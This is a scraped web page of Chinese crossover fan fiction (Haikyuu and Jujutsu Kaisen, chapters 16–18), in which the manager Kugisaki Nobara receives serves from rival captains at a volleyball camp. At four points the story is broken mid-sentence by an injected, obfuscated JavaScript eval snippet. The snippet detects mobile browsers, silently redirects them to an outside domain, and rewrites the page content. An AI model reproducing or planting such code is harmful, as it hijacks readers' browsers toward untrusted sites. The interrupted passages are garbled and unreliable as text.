“哈哈，好厉害啊小野，没想到你还真的没有骗人，居然连阿旭学长的发球都能接住，好吧，我承认你在队内接球方面的实力仅次于我！嗯，因为大家的接球都很烂嘛！” 西谷夕叉着腰点头。 “那个……阿谷，好歹给我们留点面子嘛。”田中龙之介憋红着脸埋头搓手，周围外校的队员笑得隐忍又尴尬。 西谷学长的位置是自由人，人长得小，也没怎么发过球，虽然不足为惧，不过这人倒是蛮要面子的。钉崎野蔷薇盘算着，假装吃力地接上一球让他赶紧下场吧。 她这样想着，对面很快便也发了球来。野蔷薇没甚在意，佯装左脚拌右脚，顺带做了个没接稳球的懊恼表情。 然而球擦过网滚落在地之后，炸雷一般的笑声却自外围观众口中爆发开来。 “啊哈哈哈哈哈哈啊哈哈哈哈哈哈哈真是笑死我了哈哈哈哈！” “喂，开什么玩笑啊哈哈哈哈哈！” “我没看错吧哈哈哈哈哈真的有人用头顶球啊哈哈哈哈！” “难道这就是所谓的‘头球’吗哈哈哈哈哈……笑死我了……” “哈哈哈哈哈那是足球的说法吧哈哈哈……不过也许从今天开始……排球也要有了呢哈哈哈哈哈！！！” “那个，西谷啊。”泽村大地凝重地拍上他的肩膀，努力压抑着上扬的嘴角和胸腔的轰鸣，道：“不会发球的话，最简单的方式其实是站立式发球。” 菅原孝支尬笑着接上话茬：“倒不是不让你用下手发球，只是，发球是要往远处发，不是往高处发呢。” “球发高了过不了网也就算了，最后其实不需要用头补上一球的吧。发球是不允许触球两次的，西谷前辈，这是犯规的。”影山飞雄语气平静，不苟言笑地补上最后一刀。 在经历了仿佛几个世纪一般漫长的卡壳之后，西谷夕这才找回自己的声音：“影山啊，你跟我来一下。” 角落里，他暴怒着窜起来：“浑蛋影山！你给我蹲下！不许俯视我！！！发球不能触球两次这种事情我怎么会不知道啊！触了两次当然是不得已而为之啊！难不成真到了正式比赛会让我一个自由人来发球吗！！！” 他的语速极快，声音拔高，试图用音量来掩盖自己刚刚的窘态，但通红的耳朵和还没完全顺过来的气息彻底出卖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214855|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他被成功“呛到”的事实。 “算了算了，西谷学长，都不容易都不容易。”钉崎野蔷薇过来“劝架”：“影山他就是单纯看不惯球渣罢了，你就原谅他这个没有情商的面瘫吧。” “球渣？”西谷夕冷静下来，语调阴沉得可怕：“影山，你的意思是，我球技很差吗？” 影山这才意识到大事不妙，他的头摇成拨浪鼓，浑身冒起冷汗。 “可恶！球场上的王者！我要把你的王冠摘下来踩个稀巴烂！！！”西谷夕跳了起来。 由于初中在北川一中留下的阴影，影山飞雄从刚进入乌野时就极其厌恶被叫做“球场上的王者”。因为这看似辉煌高调的称呼对他来说根本就不是褒奖和荣耀，而是一道隐形的枷锁、不怀好意的嘲讽。 可是，加入乌野高中排球部的这几个月里，一种陌生的、暖融融的东西，正缓慢地渗透进他惯常只有排球和胜负的世界。 他开始意识到，球场不再是孤岛。他的身后不再空荡，而是布满了呼吸、心跳、视线和奔跑的脚步声。他们托付给他信任，他也将自己的托球、将自己的胜负，寄托于他们的力量之上。 这种相互交织、相互支撑的感觉让影山明白：虽然他还是那个追求胜利、追求极致的“王者”，但他的王座之下，不再是冰冷的仰望，而是由这群吵吵闹闹奇奇怪怪，却又无比可靠的队友们共同筑起的温暖而坚实的地基。 身边，西谷夕还一直叫嚣着要扯他的“王冠”，影山没反抗，乖乖任他折腾起来。 日向翔阳吓得将手塞进嘴里：完蛋了，影山一定在密谋一场盛大的报复！Σ(°ロ°) “喂，什么时候轮到我啊。”木兔光太郎驼着背，迷茫地指了指自己。 “还有我。”强罗昌己也在背后举起手。 仿佛看到了商机一般，田中龙之介好脾气地合掌：“亲们，今天的野蔷薇接球大会就举办到这里，本场大会暂时只对内开放，外校的各位如果想要预约，请先在明天的练习赛中打赢乌野获得‘入会门票’哦~” “把我当啥了。”野蔷薇吐舌吐槽。 “诶？太狡猾了吧。”木兔光太郎不悦地噘着嘴：“倒也不是不愿意吧……只是，跟你们乌野打比赛真的很累啊。” 一个两个的体力都像是用不完似的，不仅进攻方式复杂多变，摸不着头脑，而且防守也很顽强。特别是那个十号小个子副攻手，左跳右跳的……怎么说呢……额……木兔思索半晌，给日向翔阳扣上了一个“多动症患者”的屎盆子。 “我明白了，只要打赢乌野就好了对吧。”强罗昌己看了钉崎野蔷薇一眼，没什么意见：“明天早晨晨练的第一场，我们生川高中先跟乌野打。” “好你个鳕鱼嘴，抢跑？”木兔急了：“枭谷学园第二个打！” “好好好。”乌养系心张开手臂，笑得开怀极了：“欢迎讨教，欢迎讨教。” 好样的田中！他悄悄给田中龙之介竖起大拇指。明天的训练安排是自由组队PK，如果是这样的话，五个学校里很有可能是乌野高中落单，不过这下可好了，他摸着下巴邪笑起来。 来吧，都来吧，让暴风雨来的更猛烈一些，乌鸦也是时候学着凤凰的样子涅槃重生了。 16.第16章 “石头剪刀布！” “石头剪刀布！” “啊啊啊可恶！再来！” “石头剪刀布！” “我赢了呦嘿嘿。” “诶？不是吧！我居然是最后！！！” “等等，他们在干嘛？孤立我们！？”森然高中的队长小鹿野大树有些疑惑地询问自家经理。他看着几个队长幼稚地抡着胳膊猜着拳，以为是什么不可告人的新战术。 “哦……他们啊……”女经理尴尬地扯了扯唇角。 “小鹿野学长，昨晚我们不是在B馆训练吗，听说A馆有什么大动静来着。”队员千鹿谷荣吉悄声解释：“似乎是乌野的女经理在接自家队员的发球，然后不知怎的，枭谷和生川的队长也加入了。” “他们在猜拳决定今天跟乌野打比赛的顺序，好像是赢了乌野就能‘借用’那个独眼的女经理做接球手。” “嗯？”小鹿野更疑惑了：“枭谷的木兔和生川的强罗吗？”他指了指某一脸得意的“猫头鹰”，问：“那他去干嘛？” 黑尾铁朗笑眯眯地接话：“我吗？当然是来凑热闹……开玩笑啦~我们音驹作为乌野的老对手，当然比你们更具备挑战的资格啊。” “更何况，猜拳我可是从来没输过。”他咧开嘴晃了晃自己的剪刀手。 “黑尾，别得意。”强罗昌己淡淡出声：“生川高中第二个与乌野对打，再下一场，我们要向音驹讨教。” “木兔学长，你……”赤苇京治睫毛轻扫着木兔光太郎耷拉下来肩膀，很自然地猜到他成了最后一名。 默默叹了口气，赤苇冷静夸赞：“我明白了木兔学长！你这是故意输给他们的吧，虽然猜拳是最后一名，但是理所应当的，乌野高中的体力也快要被音驹和生川耗尽了，哪怕不能完全地压制他们，也一定能占到很大的优势。不得不说，不愧是你啊木兔前辈，居然能考虑到这一个层面，而不是盲目地追求轮次顺序的先后，实在是太厉害了！” 对哦！木兔双眼一瞪，顿时来了精神。他慢慢直起了腰身，双手环胸点头道：“没错赤苇！你要学的东西还有很多呢！哈哈哈哈哈哈哈哈哈……” “……” * “诶——音驹对乌野啊……哈哈哈哈有意思……”森然高中的队员看好戏般的笑了笑：“一个打的很顽强，一个接的很顽强，他们两队打练习赛嘛，还是很有看头的。” “不过那边那个黑眼圈很重的外国人是谁啊？昨天没见过吧。” “外国人？啊，你说那个银灰色头发的吗？嘶，没见过呢……咦，他瞪我了，快走快走！” “列夫。”黑尾铁朗叉着腰唤了一声，见灰羽列夫毫无反应地坐在原地，微微提高了音量：“喂，列夫！” 他伤脑筋地挠挠头：“本以为你能来得更早一点，结果飞机延迟到后半夜才落地东京，看你这副样子……实在不行的话先回去休息下吧。” “啊，黑尾学长！没事没事，我可是精神满满哦！”灰羽列夫连忙举着双臂站起来，声音嘶哑道：“回了俄罗斯一趟落下那么多训练，这次我肯定要好好补回来的，毕竟我可是音驹的王牌啊！嗯！” 他这样说罢，顶着黑眼圈神采奕奕地点了点头，看上去极其没有说服力。 “哈？列夫！”山本猛虎蹙着眉怼到他眼前：“王牌？你？你在说什么？” 孤爪研磨困倦路过，打了个大大的哈欠。 …… 夏日的体育馆内弥漫着汗水和板蜡的气息，阳光透过高窗洒在木地板上，形成一道道明亮的光带，光带内，有尘屑在飞扬。 “再来一球！”日向翔阳大喊着，橙色的头发被汗水浸湿，贴在额头上。他舔了舔唇，眼睛紧盯着网对面的孤爪研磨，仿佛一只锁定猎物的猛禽。 “哦~日向还有这一面呢。”钉崎野蔷薇微微扬眉：“不仅是日向，我看大家今天的状态好像都特别好？” 清水洁子会心一笑：“野蔷薇可能不知道吧，音驹高中是我们乌野高中宿命的对手哦。两校在‘小巨人’时期因为一场比赛交好，之后就一直保持着紧密的联系，直到乌养教练因为身体原因离开了乌野……乌野一度没落下去，音驹却逐渐崭露头角。不过嘛，现在又是猫与乌鸦并行的时代啦。” “小巨人？谁是小巨人？” “乌养教练生什么病了？他不是在这儿吗？” “猫与乌鸦又是什么？” 野蔷薇突突突三连问。温和如清水洁子也不禁流下虚汗。 “哈哈哈哈！”黑尾铁朗一个大力扣杀拿下一分，略带调笑着说：“喂喂喂不是吧，小不点，你们家的女经理好像对你们非常不了解啊。” “我怎么听见有鸡在叫。”钉崎野蔷薇面色不悦：“排球馆好像混进一只聒噪的公鸡。” “噗——哈哈哈哈哈！！！”田中龙之介笑喷了：“小、小野，你该不会是在说黑尾学长吧？” “对哦，毕竟黑尾学长是鸡冠头嘛。”福永招平拍拍手掌，一本正经地说。 “喂福永！”黑尾铁朗发出怒音。 “好了好了钉崎，不能对黑尾前辈没有礼貌。”泽村大地一边憋笑一边抬手制止。 黑尾铁朗看着他不停抖动的肩膀，真的很想发火来着。 比赛继续。 影山飞雄一言不发地走到发球区，手指轻轻转动着排球，眼神冷峻。翔阳咽了咽口水，迅速将双手垫在脑后。 “影山，发个好球！”菅原孝支在场外喊道。 赤苇京治紧紧盯着影山飞雄，低声对身旁的木兔光太郎道：“乌野的二传很厉害，昨天我见识过他的跳发球，非常精准。而他作为二传的实力更是不容小觑，木兔学长，我觉得乌野是很强大的对手。” 木兔咧嘴一笑：“是吗？可是音驹的接球也不是吃素的，看好戏吧！” 影山深吸一口气，将球抛向空中，助跑，跳跃，身体如弓般弯曲，然后猛地挥臂—— 砰！ 那颗圆滚的排球以惊人的速度飞向音驹的场地，直指边角。但就在球即将落地的刹那，一个身影意料之中又意料之外地出现在球的轨迹上。 “研磨！”夜久卫辅高声喊道，然后精准地将球垫起。 “接得好！”黑尾铁朗称赞，同时迅速移动到进攻位置。 孤爪研磨的眼睛微微睁大，手指已经做好了托球的准备。他的视线快速扫过全场，瞬间分析出最佳的进攻路线。 “左边！”日向翔阳突然喊道，显然他已经看穿了研磨的意图。 但就在黑尾铁朗起跳的瞬间，孤爪研磨却手腕一转，将球传给了从后排跟上的山本猛虎。 “吃我一球！”山本猛虎一记重炮扣杀得分。 10-8，音驹率先拿到两位数的分数。 “啊啊啊啊啊研磨太狡猾了！”日向翔阳跺着脚，不甘心地喊道：“可恶，影山，下一球我们一定要得分！” 研磨轻轻擦了擦额角的汗，叹声回应：“翔阳，打排球不只是要靠蛮力……” 他刚起了个头，就见日向翔阳亮着星星眼凝视着他，研磨顿了顿：“哎算了……累了……” 黑尾铁朗大笑着拍了拍孤爪研磨的背：“别这么快就累啊研磨，胜负还未分呢！” 小鹿野大树在场外兴奋起来：“看到了吗？孤爪那家伙根本就没看山本！完全靠余光就知道他在哪里！” 强罗昌己冷静地分析：“音驹的配合已经超越了语言交流，达到了心灵相通的境界。乌野虽然有个别人能力出色，但在整体配合上还是略逊一筹。尤其是那个二传手影山，总觉得……” 场上，乌野请求暂停。队员们围在教练身边讨论战术。 “日向，影山，我们大概需要更多你们的快攻。”乌养系心严肃地说，“但不要被模式局限，要随机应变。” “随机……是怎、怎么随机法……应变……是应什么变呢教练……”翔阳有点听不懂，苦着脸难受地动了动爪子。 影山飞雄却点了点头：“我明白了。”他转向日向，“笨蛋日向，接下来我会多给你一些背后球，准备好。” 日向的眼睛亮了起来：“哦！影山！要放大招了吗！” “为什么影山一聊起排球来，感觉就不那么像笨蛋了？”钉崎野蔷薇真诚发问。 泽村大地摸了摸下巴：“这是个谜，影山记不住英语单词，也背不下国文，但是各种手势对应的进攻方式却知道得一清二楚。” “钉崎，你看。”他这样说罢，对着影山做了几个手势。 像是触发了什么开关，影山对答如流。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257997|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “A式快攻。” “一个人的时间差。” “左方后排进攻。” “B式进攻。” “C式进攻。” “右方后排进攻。” “二传手前的时间差。” “平行传球。” “……” “喂……影山你……”钉崎野蔷薇面色凝重：“队长，让我试试。” 她学着泽村大地的样子做了几个手势。 影山眨巴着眼睛，乖乖回答。 “C式快攻。” “二传手后的时间差。” “A式快攻。” “平行传球。” “D式快攻。” “好玩好玩！”钉崎野蔷薇龇牙笑起来：“真听话啊影山。” “喂、喂！现在是玩这些的时候吗钉崎你这混蛋！”意识到自己被当猴子耍了，影山飞雄气得涨红了脸。 “嘎嘎嘎。”看见影山吃瘪，日向翔阳光明正大地偷笑起来。 月岛萤无言地吐槽：“看队长做过一遍就能记住手势的钉崎也是挺厉害的。” “可能跟影山一样都是单细胞吧。”山口忠思考着回答。 暂停结束，双方重回赛场。 赤苇京治在场边喃喃自语：“影山和日向的快攻确实厉害，但音驹的防守就像蜘蛛网一样密不透风……要想在他们手中拿下任何一分都是不容易的。” 木兔光太郎冷哼一声：“真是麻烦的队伍。” 接下来发球的是音驹的海信行，一个稳健的浮空球直奔乌野的后场。西谷夕轻松接起。 “接得好！” 影山飞雄迅速移动到球下，日向翔阳也开始助跑。但是音驹已经做好了准备。黑尾铁朗和犬冈走同时向前移动，封堵日向的进攻路线。 “小不点，不会让你得逞的！”黑尾大喊着跳起来，双手高高举起做拦网状。 就在这一刻，影山突然改变了托球的方向，右手一压，左手轻巧地将球送过了网。 “二、二次球？？？” 球滚落在音驹的场地，发出规律的触地声。 跳了个空的日向翔阳很尴尬，拦了个空的黑尾铁朗也很尴尬。 “emmmm好球……影山……”乌养系心默默竖起大拇指。 “说好的快攻呢！！”翔阳要哭了。他很想扣球啊。 音驹的场外。 猫又教练观察片刻，对一旁道：“列夫，你去换犬冈。” 灰羽列夫几乎要激动地跳起来，他站的笔直，高大的身躯像一颗挺拔的白杨树。金色的瞳孔在灯光下收缩又放大，顶着大大的黑眼睛，他用沙哑撕裂的嗓音大声回应道：“是！！！” “咦，研磨。其实我早就想说了，这是谁啊？”日向翔阳忍不住悄声问。 “哦，列夫啊……”研磨头疼地撇了他一眼，不紧不慢道：“刚打排球没多久，是个精力很充足的后辈，跟我完全不一样。” “虽然身高很高，身体机能条件很优越，但是接球和发球都烂到不行啊，比翔阳还烂。”他稍微停顿，“不过，很积极，很热情，这点和翔阳很像，算是个还不错的家伙吧。” 他这是被研磨夸了吗？日向翔阳咬住下唇抖了抖身体，有点儿要憋不住放声大笑了。 “列夫啊，好洋气的名字，好羡慕。”他哼哼唧唧：“手长脚长，身高也好羡慕！” 日向翔阳的视线实在太过炽热，让人想忽视都难。灰羽列夫疑惑地回望过去时，翔阳却立刻换成一副凶神恶煞的橘色小狼狗模样。 “做得好翔阳！”西谷夕在背后将他夸上了天：“面对初次见面的‘敌人’就是要靠气势取胜啊！” “嘿嘿。”日向翔阳弓着身子邪笑。 然而，只发了这一秒钟的呆，网对面便飞过来一个速度极快的球。 他只瞧见灰羽列夫的手臂像鞭子一般甩开，然后便听见“砰”地一下……球从他的双腿缝隙中漏了下去，发出重重的落地声。 25–22，音驹获胜。 翔阳石化。 网的那边，孤爪研磨无奈叹气：“对不起翔阳，我要更正一下说辞。列夫的发球和接球都很烂，发球比翔阳还烂…… “但是接球，你们两个一样的烂。” 17.第17章 “到头来一场都没赢啊。”钉崎野蔷薇贴着清水洁子，一边陶醉地嗅着她的发丝一边漫不经心地瞟着记分表。 清水洁子的神情有些严肃：“为了加强各校之间的交流，所以采取的赛制是一局定胜负。可是……除了跟音驹的对战是22-25，另外几队完全没有超过20分的啊。” “大家明明已经很努力了啊，怎么会这样呢。”谷地仁花既心疼又担忧。 三人正研究着比分，身旁却撒下一片高大的阴影。 “钉崎……是叫这个名字没错吧。”强罗昌己向野蔷薇微微躬身：“你好，我来讨教了。” 差距最大的与生川高中的比赛，结果是——17-25……吗？钉崎野蔷薇望着表格中醒目的数字，目光隐晦下沉。这么看来，至少从某种维度来说，生川高中在五所学校中的实力一定能排上前二。 “好啊。”野蔷薇撩开橘棕色的短发，答应得很是痛快：“高兴吧大个子，有我做你的对手，你该感到荣幸才对。” “啊啊啊钉崎！叛徒啊啊啊哇哇哇！”日向翔阳一边做着鱼跃，一边吱哇乱叫。“凭什么你可以给生川的队长接球啊……我也想打排球啊呜呜呜！”他难过地呜咽起来。 “吵死啦日向！”野蔷薇想都没想便吼了回去：“先把鱼跃做到标准再说吧！”她叉着腰，很凶狠地说：“接球接成那样，还不好好学习鱼跃吗？？？下训之后给我加做一百个啊混蛋！” 好样的钉崎！乌养系心咧开嘴朝她竖起大拇指。咱们家另外两位经理都太温柔了啊。 “还有你啊，乌养教练。”钉崎野蔷薇话锋一转：“队伍一直输球难道你就没有责任吗？平时到底有没有好好监督指导啊？” 她琥珀色的瞳孔微微收缩，锐利的目光钉子一样扫了过来。乌养系心身体一僵，冷汗冒了全身。 “真……真是对不住啊……我是个没用的教练。”他自闭了。 …… “哦呀哦呀，又有好戏看了吗？”黑尾铁朗笑嘻嘻地分了个神，却丝毫不影响他张开双臂将对面木兔光太郎的扣球封死在网前。 “啊！可恶！”木兔不甘心地嚎叫着：“可恶！可恶！可恶的黑尾！这拦网也太讨厌了吧！” “冷静点木兔学长。”赤苇京治擦了擦额角的热汗：“黑尾学长的拦网水平一向精准、迅速又彻底，可根据往年的经验，井闼山学院和鸥台高中的副攻手更是技高一筹。不过，如果能突破黑尾学长的拦网，我想距离咱们枭谷夺冠春高也不远了。” “砰！！！” 两人交谈间，一旁的场地忽然传来了剧烈的撞地声，像是有什么很重很重的东西从很高很高的地方砸了下来似的。 这声音结结实实是吓了所有人一跳。众人循声望去，却见野蔷薇远远站在结界外，一脸事不关己。 “嗯？等一下，我没看错吧。”森然高中的千鹿谷荣吉不镇定地揉了揉眼睛：“哈哈哈哈哈！乌野的女经理压根就没有想要接这一球嘛！” “哈哈哈哈哈笑死我啦。”小鹿野大树笑得肚子疼。他看得清清楚楚，在那个鳕鱼子嘴助跑起跳的时候，钉崎野蔷薇就以极快的速度闪到了一边。 于是，这球扑了个空。 “你怕了？”强罗昌己不理解。 “那不是。”野蔷薇不知从哪里掏出一面小巧精致的梳妆镜：“我担心这球的冲击太大，球风犀利，弄脏了我的衣服，弄坏了我的发型。” “……” 乌野的惩罚已经结束，刚刚那球仿佛在日向翔阳的耳边放了个烟花，炸得他耳朵疼。 “影山，我还是想问，被这球砸到真的不会死人吗？”他面色凝重。 “不好说。”影山飞雄气喘吁吁地站起身来：“如果可以，我希望再也不会接他的球。” “我倒觉得生川的发球很有趣！”西谷夕生龙活虎地一跃而起，大刺刺地拍了拍钉崎野蔷薇的肩膀：“oi！小野，你要是不愿意，我可以代替你接球哦！”他期待又激动地舔了舔唇。 白色的校服上瞬间留下一个黑爪印，野蔷薇面无表情地盯着西谷夕：“……” 好吧，既然已经弄脏了，那就不用在意了。钉崎野蔷薇甩了甩短发，慢条斯理地摞起袖子，走进接球区：“再来。” 强罗昌己不是会手下留情的人，见野蔷薇已经做好了准备，他便一声不吭地将球高高抛起。那抛球的高度恰到好处，起跳时机完美无缺，就连挥臂动作也干净利落的过分。 排球离手的瞬间，钉崎野蔷薇就意识到这个发球的棘手之处——它带着一点微妙难辨的旋转，轨迹飘忽不定，让人难以精确地判断它的最终落点。 “不仅有超强的力量，就连角度都这么刁钻吗？很好，我承认了，排球确实有点意思。”钉崎野蔷薇觉得自己沉寂已久战斗的血液竟难得地沸腾了起来。 她毫不退缩地直迎上前。 就在球即将接触手臂的刹那，她突然意识到这很可能是个带有欺骗性的旋转球，可能会在接触手臂后改变方向弹出。只是眨眼之间，她凭借咒术师时期对战场的敏锐感知和反应速度略微调整了手臂的角度。 果不其然，球在触臂之后向外侧旋转弹开，钉崎野蔷薇迅速侧身用另一只手臂将球垫起：“喂，别小看我的眼睛和判断啊。” 触球之后，球立刻高高飞向空中，在划出一道优美的弧线后，稳稳当当地落在了界内。 全场寂静无声。 “喔！赤苇赤苇，你看见了吗？”木兔光太郎惊叹出声。 “嗯，我看见了，木兔学长。”赤苇京治也有些难以置信：“这位女经理到底是何方神圣？” 他垂眸琢磨起来：“如果队内有人有这样的接球水平，我想她甚至可以担任队员们在接球这一项上的训练总指导。再者说，接球水平如果能显著提升的话，那么球落在我方场内的可能性将会大大降低，木兔学长，我想枭谷正缺少这样的……咦，人呢？” 赤苇京治说了好半天，转眸却见自家王牌主攻手已经像摇着尾巴的大型犬一般奔向别人家的经理了。 “喂钉崎钉崎！下一球轮到我啦！哈哈哈哈！”木兔光太郎笑得欢快极了。 强罗昌己还杵在原地，黝黑的面庞上写满了震惊，虽然刚刚那一球他只用了七八分实力，可他这七八分实力对于绝大多数人来说已是绝杀。这个女生…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好球！”钉崎野蔷薇低喝一声，瞳孔微缩。她的动态视力极佳，几乎是瞬间就判断出了球的轨迹。没有选择后退，她迅猛地向右横跨一步，双脚扎实地踩稳地面，双臂并拢前伸，手腕下压，整个身体的核心绷紧，硬生生地接下了这一球。 长久以来与咒灵和诅咒师之间的战斗让她对“冲击” 有着超乎常人的理解和承受能力。一声闷响，如同重锤敲打在坚韧的皮革上，排球也精准地砸在她并拢的小臂上。 不愧是全国前五的主攻手，那冲击力确实远超她的预期，沉重得让她瞬间咬紧了牙关。一股剧烈的酸麻感立刻从小臂蔓延开来，仿佛骨头和胸腔都在震颤鸣叫。强大的力道推得她不由自主地向后微仰，右脚为了稳住重心不得不向后撤了半步，鞋底与地板摩擦发出刺耳的声响。 “啧！”像是棋逢对手一般，她脸上兴奋之情几乎难以掩饰。这一球虽然被她成功垫起，却因为那可怕的力量和旋转，弹起的轨迹高而飘忽，远非完美的一传。但所有人都看见，它确确实实地以稳定的姿态飞向了空中。 钉崎野蔷薇甩了甩发麻刺痛的手臂，残留的灼热感似乎慢慢向心脏燃烧。抬起头，网对面的木兔光太郎眼神发亮。 不知道为什么，她觉得那眼神，像极了虎杖悠仁。 18.第18章 自从钉崎野蔷薇一战成名后，木兔光太郎总是时不时地来“骚扰”一下她。 第一天：“钉崎钉崎！有空吗？我看今天天气不错，好像很适合做扣杀训练啊。” 第二天：“oi！好巧啊，这不是钉崎嘛，来打排球吧！” 第三天：“heyheyhey！钉崎，我想到了一个新的打法你要不要看一看……” “别说了。”钉崎野蔷薇一脸无言地打断木兔光太郎：“木兔学长，你都不会累的吗？就算你不累，我也会累哈……” 咒力流失之后，她的耐久力总觉得大不如前了。不过是多做了些特训少睡了点觉罢了，居然就有些撑不住了。 枭谷学园的这位木兔学长，不仅热情奔放的开朗性格跟虎杖悠仁很像，就连不达目的誓不罢休的缠人劲儿也一模一样啊。 “就是啊就是啊！”日向翔阳耳尖，听见这话赶忙帮腔：“木兔前辈，钉崎她早就累啦……但是但是但是但是，我还一点都不累啊哈哈哈哈哈哈哈哈哈哈！！！” 他的欢笑声感染力十足，还有一种奇特的节奏，发笑的时候蜜糖色的眼睛会瞬间亮起来，像是有人往眸子里撒了一把晶莹的星星。他蹦蹦跳跳地凑到木兔光太郎的眼前，整个人像一颗被阳光浸透的橘子。 钉崎野蔷薇撇了日向翔阳一眼，将这颗橘子推到木兔光太郎面前，“没错，木兔学长，如果你实在想找人训练的话，就多找日向吧。毕竟我不是排球队的正式队员，只是一个经理罢了。” 在同龄人当中，木兔光太郎的排球实力绝对称得上是万分之一的佼佼者，能和他切磋交流，对于日向翔阳来说好处多多，毕竟日向是个副攻手，如果能掌握木兔之流主攻手的发球与进攻套路，对于训练日向的攻击和拦网防守来说，都是个非常不错的成长。 作为乌野高中的排球队经理，钉崎野蔷薇自然是要为自家队伍考虑。光提升她的能力可没什么用，最终上场比赛的又不是她。 不过，副攻手不止日向一个，可不能光训练他一个人啊……钉崎野蔷薇这般想着，探究又凝重的目光便紧跟着落在月岛萤的身上。 对方挑挑眉打了个大大的哈欠，无视野蔷薇的目光，将白色的毛巾向肩膀上一甩，转头就走了。 “啊，阿月……”山口忠左看看离开的月岛萤，右看看还在训练的乌野众人，最终还是没有追上去。 “喂山口。”钉崎野蔷薇探过头去，低声对他说：“别管那个拽男了，你自己的训练要紧。” “诶？我……自己的……训练？我哪里有什么训练啊。”山口忠有些惊讶，又有些疑惑，他不好意思地挠挠头：“没关系的钉崎，我并不是正式队员，对于现在的乌野来说，我可有可无啦哈哈哈。” “……”短发少女望着他沉默，眉目间竟隐隐约约有怒意，看得山口忠心虚地垂下了头。 “山口！你这家伙！”钉崎野蔷薇双手环胸：“我可不想再听见你说这种话了。”她重重地叹了一口气：“拜托，你以为我在乌野只是随便混混吗，本小姐我可是有关注你们每一个人的！” “我不知道你们都经历了什么，我也不在乎你们曾经经历过什么。但是你给我听好了！不在任何强大的事物面前失去自我，那才是最大的勇气，如果想要别人看见你、无法忽视你的存在，就更要变得与众不同不可替代啊喂！” 这些日子，即使几乎没有能够上场比赛的机会，山口忠也总是默默跟着大家早出晚归地训练，这些努力她都看在眼里。努力究竟是不是一定能得到回报她不知道，但是努力的人绝对不该被视而不见。 “哼哼，至于咱们提不起精神的月岛萤同学……”钉崎野蔷薇目光阴沉：“是不是要给他一点‘教训’呢？正式队员的席位是有限的，如果他不能珍惜机会的话，我不介意替他上场打比赛。” 没有人！没有人可以阻挠她在东京深根发展的人生大计！！！ “你是打算去揍他一顿吗？”影山飞雄站在一旁喝水，听见这话，死命克制住笑意举起手道：“我支持。” “野蔷薇啊呜呜呜，你终于想起来了，你是我们乌野的经理，可不是枭谷的经理啊。”田总龙之介欣慰至极。 泽村大地也摸着下巴点点头：“很称职的经理。” 最开心的还属东峰旭：“大地，有钉崎在，是不是以后出去比赛被当作不良混混的就不是我了？” “那倒不一定。”菅原孝支露出诚实的微笑：“留级五年、霸凌同学，三中的东峰旭毕竟‘威名在外’。” “啊不过，这些全部都是谣言。咱们的王牌，其实是个窝窝囊囊的小心脏哦。”他大笑着对野蔷薇道：“钉崎，要对东峰学长好一点哦，不然他会哭的。” “喂阿菅……”东峰旭现在就想哭。 夜深了，钉崎野蔷薇疲惫地伸了伸懒腰，冲着B馆内还在夜训的队友们摆摆手，径直向宿舍走去。 这几天，她不是在乌野队内接球就是给木兔光太郎接球，总是弓着身子，腰超级酸的。 身后传来木兔光太郎的声音：“既然钉崎都这样说了……那好吧日向！你可要好好看着我的动作！” “喔喔喔喔喔噢噢噢哦哦哦哦！！！”橘子小狗兴奋起来。 * 身边的清水洁子和谷地仁花呼吸均匀，野蔷薇闭眼躺在榻榻米上，却怎么也睡不着。 “……你们家的女经理好像对你们非常不了解啊……” 她莫名想起白日里黑尾铁朗的话来。 翻来覆去好半天，她将手机拿出来，开始搜索起乌野高中和“小巨人”的相关信息。那个鸡冠头说的对，既然选择了做乌野的经理，这样确实是不太像话的。 原来她居然还会自我反省啊，钉崎野蔷薇吸了吸鼻子，被自己感动得一塌糊涂。 …… 翌日清晨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307328|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “早啊清水学姐，早啊谷地同学，早啊钉崎！”食堂内，日向翔阳端着餐盘对三个女经理打招呼。 “早上好，日向。”洁子对他点了点头。 “嗯！早呀日向。”谷地仁花露出洁白的牙齿：“昨晚的训练还顺利吗？” “早……早上……早上坏……”野蔷薇有气无力。 “！” “钉崎，你你你怎么了？” 日向翔阳在她的对面坐下，看见她眼下沉重的阴影像两片小小的乌云。 谷地仁花咬了一口红豆面包，道：“ 